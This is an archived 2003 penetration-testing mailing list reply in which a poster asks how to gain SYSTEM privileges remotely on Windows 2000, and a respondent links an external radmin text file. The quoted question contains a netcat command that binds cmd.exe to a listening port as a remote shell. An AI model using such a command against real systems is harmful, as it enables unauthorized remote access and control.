Re: remote privilege escalation

From: noconflic (nocon@texas-shooters.com)
Date: 01/09/03

  • Next message: Dominick Baier: "AW: SQL Vulnerabilty Assesment"
    Date: Wed, 8 Jan 2003 17:09:37 -0600
    From: noconflic <nocon@texas-shooters.com>
    To: Jeremy Bartels <Jeremy.Bartels@allsecure-it.com>
    
    

    [Jeremy.Bartels@allsecure-it.com] Wed, Jan 08, 2003 at 03:10:32PM +1100 wrote:
    > Hi All,
    >
    > Can someone please tell me how I go about escalating my privileges to SYSTEM
    > remotely on a windows 2000 Server SP1 'out of the box' installation.
    >
    > I can do it when I am sitting in front of the PC with ERunAs2X.exe
    > if I try to use ErunAs2X remotely with: ERunAs2X.exe "nc.exe -l -p
    > 50000 -d -e cmd.exe"
    > I get the error:
    >
    > The application failed to initialize properly (0xc0000142). Click on OK to
    > terminate the application.
    >
    > the title bar of the windows says: cmd.exe - Application error
    >
    > does anyone have any ideas?
    >
    > Cheers
    >
    > Jeremy

        Quick search on google finds this

    http://home.deds.nl/~stuff/radmin.txt

       Hope this helps.

    - nocon

    ----------------------------------------------------------------------------
    This list is provided by the SecurityFocus Security Intelligence Alert (SIA)
    Service. For more information on SecurityFocus' SIA service which
    automatically alerts you to the latest security vulnerabilities please see:
    https://alerts.securityfocus.com/



    Relevant Pages

    • Re: ettercap help
      ... Anyways have never tried Ettercap for VNC. ... > This list is provided by the SecurityFocus Security Intelligence Alert ... For more information on SecurityFocus' SIA service which ... This list is provided by the SecurityFocus Security Intelligence Alert ...
      (Pen-Test)
    • Re: Wardialing
      ... >>> achieving the connection with the modem. ... >>This list is provided by the SecurityFocus Security Intelligence Alert ... For more information on SecurityFocus' SIA service which ...
      (Pen-Test)
    • RE: How to Tackle the Legal Tangle?
      ... How to Tackle the Legal Tangle? ... >This list is provided by the SecurityFocus Security Intelligence Alert ... For more information on SecurityFocus' SIA service which ...
      (Pen-Test)
    • RE: CFM SQL injection
      ... You should better use union or alike get unauthorized data from the ... This list is provided by the SecurityFocus Security Intelligence Alert ... For more information on SecurityFocus' SIA service which ...
      (Pen-Test)
    • Re: ettercap help
      ... > I can get it to sniff telnet, ftp, pop, smb, but no vnc. ... > This list is provided by the SecurityFocus Security Intelligence Alert ... For more information on SecurityFocus' SIA service which ...
      (Pen-Test)